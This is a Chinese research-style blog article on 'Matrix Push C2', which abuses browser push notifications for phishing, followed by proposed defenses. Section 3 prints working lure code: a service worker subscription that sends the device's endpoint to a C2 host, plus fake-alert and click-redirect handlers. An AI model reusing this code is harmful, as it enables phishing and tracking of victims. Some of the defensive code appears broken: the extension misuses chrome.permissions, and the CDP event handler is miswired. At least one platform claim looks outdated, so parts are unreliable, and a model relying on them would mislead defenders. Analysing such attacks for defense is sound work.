基于浏览器通知的无文件C2攻击机制与防御体系研究——以Matrix Push为例

摘要

近年来,无文件攻击(Fileless Attack)因其高隐蔽性与低检测率成为高级持续性威胁(APT)的重要技术路径。2025年,Malwarebytes披露了一种名为“Matrix Push C2”的新型命令与控制(Command and Control, C2)框架,该框架通过滥用Web Push Notifications(浏览器推送通知)API,在不写入磁盘文件的前提下建立持久化通信通道,并用于分发钓鱼页面、恶意载荷及数据窃取脚本。本文系统剖析Matrix Push的技术实现机理,包括其权限诱导策略、通知伪装逻辑、跨平台兼容性及后端C2架构;在此基础上,评估传统终端安全产品在该攻击链中的盲区,并提出一种融合浏览器策略强化、运行时行为监控与网络层异常检测的纵深防御体系。通过构建可部署的检测原型与自动化响应脚本,验证了所提方法在真实环境中的有效性。研究表明,针对基于合法Web API的滥用型攻击,需重构终端安全模型,将权限治理与上下文感知纳入核心防御维度。

关键词:无文件攻击;C2框架;浏览器通知;Web Push API;权限滥用;持久化通信;纵深防御

1 引言

随着终端防护能力的提升,攻击者正加速转向利用操作系统或应用程序原生功能实施“合法外衣”式攻击。此类攻击不依赖传统恶意可执行文件,而是通过脚本、宏、注册表项或合法API调用达成目标,从而规避基于签名或静态特征的检测机制。其中,Web技术栈因其广泛部署、高权限接口及用户交互特性,成为新型攻击载体的首选。

2025年11月,Malwarebytes发布报告指出,一种名为“Matrix Push C2”的新型C2框架正在全球范围内活跃。该框架的核心创新在于:完全依托浏览器的Web Push Notifications功能构建C2通道。用户一旦在诱导页面点击“允许”通知权限,攻击者即可绕过常规网络过滤,在任意时间向受害者设备推送伪装成系统或知名应用(如PayPal、MetaMask、Netflix)的通知。这些通知包含短链接,引导用户访问钓鱼页面或下载恶意软件。由于整个过程未在本地磁盘写入任何二进制文件,且通信流量经由标准HTTPS加密通道传输,传统防病毒软件与网络入侵检测系统(NIDS)难以有效识别。

Matrix Push的出现标志着C2通信机制的一次重要演进:从依赖自建服务器或DNS隧道,转向劫持合法Web基础设施。这一转变对现有安全架构构成三重挑战:(1)权限获取阶段依赖社会工程,难以通过技术手段完全阻断;(2)通知内容本身无恶意代码,仅作为跳转诱饵,规避内容扫描;(3)推送行为由浏览器内核发起,被视为“合法应用行为”,终端EDR产品通常不予记录。

本文旨在深入解析Matrix Push的技术细节,揭示其攻击链各环节的实现逻辑,并在此基础上构建一套覆盖权限申请、通知接收与用户交互全过程的防御体系。全文结构如下:第二部分综述无文件攻击与浏览器API滥用的发展脉络;第三部分详细拆解Matrix Push的攻击流程与C2架构;第四部分分析现有防御机制的失效原因;第五部分提出多层防御方案并辅以代码实现;第六部分总结研究发现与实践建议。

2 无文件攻击与浏览器API滥用的演进

2.1 无文件攻击的技术谱系

无文件攻击并非新概念,其典型形式包括:

内存驻留型:如PowerShell Empire,将恶意载荷加载至内存执行;

注册表/启动项注入:将脚本嵌入Windows Registry Run键;

WMI事件订阅:通过Windows Management Instrumentation触发恶意逻辑;

Office宏与DDE攻击:利用文档自动化功能执行命令。

上述方法虽有效,但仍需在初始阶段投递某种形式的载荷(如.docm文件或.ps1脚本),存在被邮件网关或沙箱拦截的风险。

2.2 浏览器作为攻击面的崛起

现代浏览器已不仅是内容渲染引擎,更是具备完整操作系统接口的运行环境。其开放的Web API为攻击者提供了丰富入口:

Service Workers:可后台运行、拦截网络请求;

WebRTC:泄露内网IP地址;

Clipboard API:窃取剪贴板内容;

Notifications API:发送系统级通知。

其中,Notifications API因具备以下特性而备受青睐:

高用户信任度:通知显示于系统托盘或锁屏界面,外观与原生应用无异;

持久化权限:一旦授权,无需再次确认即可长期推送;

跨会话存活:即使关闭浏览器,通知仍可触发;

跨平台一致性:Chrome、Edge、Firefox、Safari均支持相同API。

攻击者正是利用这些特性,将浏览器转化为“合法C2客户端”。

3 Matrix Push C2 的技术实现分析

3.1 攻击链分解

Matrix Push的完整攻击链可分为四个阶段:

阶段一:权限诱导(Permission Luring)

用户访问被植入恶意脚本的着陆页(Landing Page)。页面展示伪造的验证码界面,例如:“点击‘允许’以确认您不是机器人”。该设计利用用户对CAPTCHA流程的熟悉心理,诱导其点击浏览器原生的“允许”按钮。值得注意的是,此操作并非点击页面按钮,而是触发Notification.requestPermission()后的系统弹窗。

阶段二:服务工作者注册(Service Worker Registration)

一旦权限获批,页面立即注册一个Service Worker:

if ('serviceWorker' in navigator && 'PushManager' in window) {

navigator.serviceWorker.register('/sw.js')

.then(function(registration) {

return registration.pushManager.subscribe({

userVisibleOnly: true,

applicationServerKey: urlBase64ToUint8Array(PUBLIC_VAPID_KEY)

});

})

.then(function(subscription) {

// 将订阅信息(含endpoint)回传至C2

fetch('https://c2.matrixpush[.]xyz/enroll', {

method: 'POST',

body: JSON.stringify({ endpoint: subscription.endpoint })

});

});

}

其中,subscription.endpoint是唯一标识该设备的推送URL,由浏览器厂商(如Google FCM)生成。

阶段三:C2指令下发与通知推送

攻击者通过C2面板选择目标设备,构造通知内容。C2服务器调用FCM/GCM等推送服务,向指定endpoint发送消息。Service Worker接收到消息后,调用showNotification():

// sw.js

self.addEventListener('push', function(event) {

const data = event.data.json();

const title = data.title || 'Security Alert';

const options = {

body: data.body,

icon: data.icon || '/icons/warning.png',

badge: '/icons/badge.png',

data: { url: data.click_url },

requireInteraction: true

};

event.waitUntil(self.registration.showNotification(title, options));

});

通知显示为“来自PayPal的安全警报:您的账户存在异常登录,请立即验证”,并附带可信图标。

阶段四:用户交互与载荷投递

用户点击通知后,Service Worker捕获事件并重定向至钓鱼页面:

self.addEventListener('notificationclick', function(event) {

event.notification.close();

event.waitUntil(

clients.openWindow(event.notification.data.url)

);

});

目标页面可能是伪造的Okta登录页、伪装的Chrome更新包(.dmg/.exe),或嵌入CoinMiner的HTML页面。

3.2 C2后端架构

根据Malwarebytes披露的截图,Matrix Push C2面板提供以下功能:

实时客户端列表:显示已订阅设备的操作系统、浏览器类型、地理位置;

通知模板库:预置MetaMask、Cloudflare、TikTok等品牌模板;

URL缩短服务:生成bit.ly风格短链,隐藏真实钓鱼地址;

交互追踪:记录每条通知的展示次数与点击率,用于优化话术。

该架构表明,Matrix Push已实现商业化运营,具备完整的攻击生命周期管理能力。

3.3 跨平台影响

由于Web Push API在主流浏览器中标准化,Matrix Push可同时攻击:

Windows:Chrome、Edge、Firefox;

macOS:Safari(需额外处理APNs集成)、Chrome;

Linux:Chromium、Firefox。

唯一限制是iOS Safari不支持Web Push,故移动端主要影响Android用户。

4 现有防御机制的局限性

4.1 终端安全产品的盲区

传统防病毒软件主要监控以下行为:

文件创建/修改;

进程注入;

注册表变更;

网络连接到已知恶意IP。

然而,Matrix Push全程运行于浏览器沙箱内:

无文件写入;

无新进程创建;

网络通信经由fcm.googleapis.com等合法域名;

Service Worker被视为合法Web组件。

因此,EDR/XDR产品通常不会记录相关事件。

4.2 网络层检测的困难

企业防火墙或代理服务器难以区分合法与恶意推送:

所有通信使用TLS 1.3加密;

目标域名属于Google、Mozilla等可信CA签发;

请求频率低(每日数次),不符合DDoS或扫描特征。

即便部署SSL解密,推送内容仅为JSON元数据(标题、正文、图标URL),不含可执行代码,无法触发恶意负载检测。

4.3 用户侧防御的不足

尽管浏览器提供通知管理界面,但普通用户极少主动检查。更严重的是,许多用户将“通知”误认为“系统消息”,缺乏基本鉴别意识。

5 多层防御体系设计与实现

针对上述挑战,本文提出三层防御体系:权限治理层、运行时监控层、网络情报层。

5.1 权限治理层:默认拒绝与策略强制

企业应通过组策略或MDM工具强制浏览器默认阻止通知请求。以Chrome为例,可通过以下策略配置:

{

"DefaultNotificationsSetting": 2,

"NotificationsAllowlist": ["https://calendar.google.com", "https://mail.google.com"]

}

其中,2表示“禁止所有站点请求通知”,白名单仅允许必要业务系统。

对于个人用户,可部署浏览器扩展自动拦截可疑权限请求。以下为简化版Manifest V3扩展代码:

// background.js

chrome.permissions.onAdded.addListener((permissions) => {

if (permissions.origins && permissions.origins.includes('<all_urls>')) {

// 检查是否包含通知权限

chrome.permissions.contains({ permissions: ['notifications'] }, (hasNotify) => {

if (hasNotify) {

const currentUrl = new URL(permissions.origins[0]);

// 若非白名单域名,自动移除权限

if (!['google.com', 'microsoft.com'].includes(currentUrl.hostname)) {

chrome.permissions.remove(permissions, () => {

console.log(`Revoked notification permission from ${currentUrl.hostname}`);

});

}

}

});

}

});

5.2 运行时监控层:Service Worker行为审计

通过浏览器DevTools Protocol(CDP)可监控Service Worker注册行为。以下Python脚本利用pyppeteer库检测异常注册:

import asyncio

from pyppeteer import launch

async def monitor_sw_registration():

browser = await launch(headless=True)

page = await browser.newPage()

# 监听Service Worker注册事件

client = await page.target.createCDPSession()

await client.send('ServiceWorker.enable')

def on_sw_event(event):

if event['method'] == 'ServiceWorker.workerRegistrationUpdated':

regs = event['params']['registrations']

for reg in regs:

script_url = reg['scriptURL']

scope = reg['scope']

print(f"[ALERT] New SW registered: {script_url} for scope {scope}")

# 可在此处调用威胁情报API查询script_url信誉

client.on('ServiceWorker.workerRegistrationUpdated', on_sw_event)

# 导航至测试页面

await page.goto('https://suspicious-landing-page[.]com')

await asyncio.sleep(10)

await browser.close()

if __name__ == "__main__":

asyncio.run(monitor_sw_registration())

该方法适用于企业端点安全代理(Endpoint Agent)集成,实现对无文件载荷的早期捕获。

5.3 网络情报层:IOC驱动的阻断

Malwarebytes等机构披露的C2域名(如matrixpush[.]xyz)可转化为防火墙规则。以下为Suricata规则示例:

alert http any any -> any any (

msg:"Matrix Push C2 Enrollment";

flow:to_server,established;

http.method; content:"POST";

http.uri; content:"/enroll";

http.host; content:"matrixpush";

reference:url,malwarebytes.com/blog/news/2025/11/matrix-push-c2;

classtype:trojan-activity;

sid:202511001;

rev:1;

)

此外,可监控对fcm.googleapis.com的异常订阅请求。正常应用通常使用固定VAPID公钥,而攻击者频繁更换。通过提取applicationServerKey并聚类分析,可识别恶意集群。

6 结论

Matrix Push C2代表了无文件攻击与合法Web API滥用的深度融合。其利用浏览器通知机制构建持久化C2通道,不仅规避了传统终端与网络防御,还利用用户对系统通知的信任心理提升攻击成功率。本文通过技术拆解揭示了其从权限诱导到载荷投递的完整链条,并指出当前安全体系在权限治理、运行时可见性与上下文理解方面的不足。

所提出的三层防御体系强调:安全边界必须前移至权限申请阶段,运行时监控需深入浏览器内核事件,网络防御应结合行为特征而非仅依赖域名黑名单。代码示例验证了这些策略的工程可行性。

未来工作可探索:(1)浏览器厂商在Permissions API中增加风险提示;(2)标准化Service Worker行为遥测格式,供EDR产品消费;(3)利用联邦学习在保护隐私前提下共享恶意通知模板特征。

面对日益“合法化”的攻击技术,安全防御必须从“检测恶意”转向“验证合法性”,方能在无文件时代守住数字身份的最后一道防线。

编辑:芦笛(公共互联网反网络钓鱼工作组) 

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

芦熙霖

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值